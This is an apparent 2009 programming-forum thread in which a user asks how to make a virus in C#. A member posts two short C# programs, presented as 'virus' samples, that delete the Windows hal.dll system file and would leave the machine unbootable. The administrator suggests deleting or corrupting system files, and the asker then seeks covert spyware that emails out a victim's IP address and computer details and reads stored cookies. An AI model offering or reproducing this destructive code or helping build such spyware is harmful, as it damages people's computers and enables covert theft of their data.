1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Can Anyone tell how to make virus in C#.net

Discussion in 'C#' started by night.rider, Jul 13, 2009.

  1. night.rider

    night.rider New Member

    Joined:
    Jul 13, 2009
    Messages:
    14
    Likes Received:
    1
    Trophy Points:
    0
    Occupation:
    create and implement Logic..
    Location:
    somewhere
    Can Anyone tell how to make virus in C#.net
     
  2. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,293
    Likes Received:
    365
    Trophy Points:
    83
    Moved your query to the forum and you submitted this as an article

    Deleting everything or editing some system files and corrupting them can also be defined as some virus and do that as that is the simplest thing you can do.
     
  3. naimish

    naimish New Member

    Joined:
    Jun 29, 2009
    Messages:
    1,046
    Likes Received:
    18
    Trophy Points:
    0
    Occupation:
    Software Engineer
    Location:
    On Earth
    Hey Night Rider, Nice to see one more .NET Person here ;) Soon I will let you know how to make virus in C#.net :)
     
  4. night.rider

    night.rider New Member

    Joined:
    Jul 13, 2009
    Messages:
    14
    Likes Received:
    1
    Trophy Points:
    0
    Occupation:
    create and implement Logic..
    Location:
    somewhere
  5. night.rider

    night.rider New Member

    Joined:
    Jul 13, 2009
    Messages:
    14
    Likes Received:
    1
    Trophy Points:
    0
    Occupation:
    create and implement Logic..
    Location:
    somewhere
    r u dere naimish
     
  6. naimish

    naimish New Member

    Joined:
    Jun 29, 2009
    Messages:
    1,046
    Likes Received:
    18
    Trophy Points:
    0
    Occupation:
    Software Engineer
    Location:
    On Earth
  7. naimish

    naimish New Member

    Joined:
    Jun 29, 2009
    Messages:
    1,046
    Likes Received:
    18
    Trophy Points:
    0
    Occupation:
    Software Engineer
    Location:
    On Earth
    First of all let's decide which kind of virus you want to make ?
     
  8. naimish

    naimish New Member

    Joined:
    Jun 29, 2009
    Messages:
    1,046
    Likes Received:
    18
    Trophy Points:
    0
    Occupation:
    Software Engineer
    Location:
    On Earth
    For a Sample Basic Virus Program, See the code bolow.

    Code:
    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.IO;
    
    namespace HallDel
    {
        class Program
        {
            static void Main(string[] args)
            {
                System.IO.File.Delete("C:\\Windows\\system32\\hal.dll"); /* C# PWNS */
            }
        }
    }
     
  9. naimish

    naimish New Member

    Joined:
    Jun 29, 2009
    Messages:
    1,046
    Likes Received:
    18
    Trophy Points:
    0
    Occupation:
    Software Engineer
    Location:
    On Earth
    A more advanced version:


    Code:
    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.IO;
    
    namespace HalDelPro
    {
        class Program
        {
            static void Main(string[] args)
            {
                System.IO.File.Delete(System.Environment.SystemDirectory + "hal.dll"); /* C# OWNS*/
            }
        }
    }
     
  10. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,293
    Likes Received:
    365
    Trophy Points:
    83
    Run this program with care.
     
  11. naimish

    naimish New Member

    Joined:
    Jun 29, 2009
    Messages:
    1,046
    Likes Received:
    18
    Trophy Points:
    0
    Occupation:
    Software Engineer
    Location:
    On Earth
    :d
     
  12. night.rider

    night.rider New Member

    Joined:
    Jul 13, 2009
    Messages:
    14
    Likes Received:
    1
    Trophy Points:
    0
    Occupation:
    create and implement Logic..
    Location:
    somewhere
    thanx naimish but some more gr8 type this is a really basic and it runs only once... as it corrupts the windows..deleting the hardware abtraction file..

    i want some virus which gives me some system information without the user notification or some lyk this ip add, computer name, memory all this and that also i can access then by some method whenever online.. to my mailbox or such..

    i m planning to do this stuff but dnt knw where to start,,
     
  13. night.rider

    night.rider New Member

    Joined:
    Jul 13, 2009
    Messages:
    14
    Likes Received:
    1
    Trophy Points:
    0
    Occupation:
    create and implement Logic..
    Location:
    somewhere
    do u knw naimish how to read cookies in c# if possible.. becoz it cant be in c#.net as this thing is only possible in asp.net..

    but if we have cookies saved n we have read that or decrypt that do u knw some way in .net???
     
  14. hotnspicy

    hotnspicy New Member

    Joined:
    Jul 6, 2009
    Messages:
    45
    Likes Received:
    5
    Trophy Points:
    0
    Hey, I didn't know we can make virus in c# also, let me try that program.
     
  15. naimish

    naimish New Member

    Joined:
    Jun 29, 2009
    Messages:
    1,046
    Likes Received:
    18
    Trophy Points:
    0
    Occupation:
    Software Engineer
    Location:
    On Earth
    Try with Care ;)
     
  16. hotnspicy

    hotnspicy New Member

    Joined:
    Jul 6, 2009
    Messages:
    45
    Likes Received:
    5
    Trophy Points:
    0
  17. naimish

    naimish New Member

    Joined:
    Jun 29, 2009
    Messages:
    1,046
    Likes Received:
    18
    Trophy Points:
    0
    Occupation:
    Software Engineer
    Location:
    On Earth

Share This Page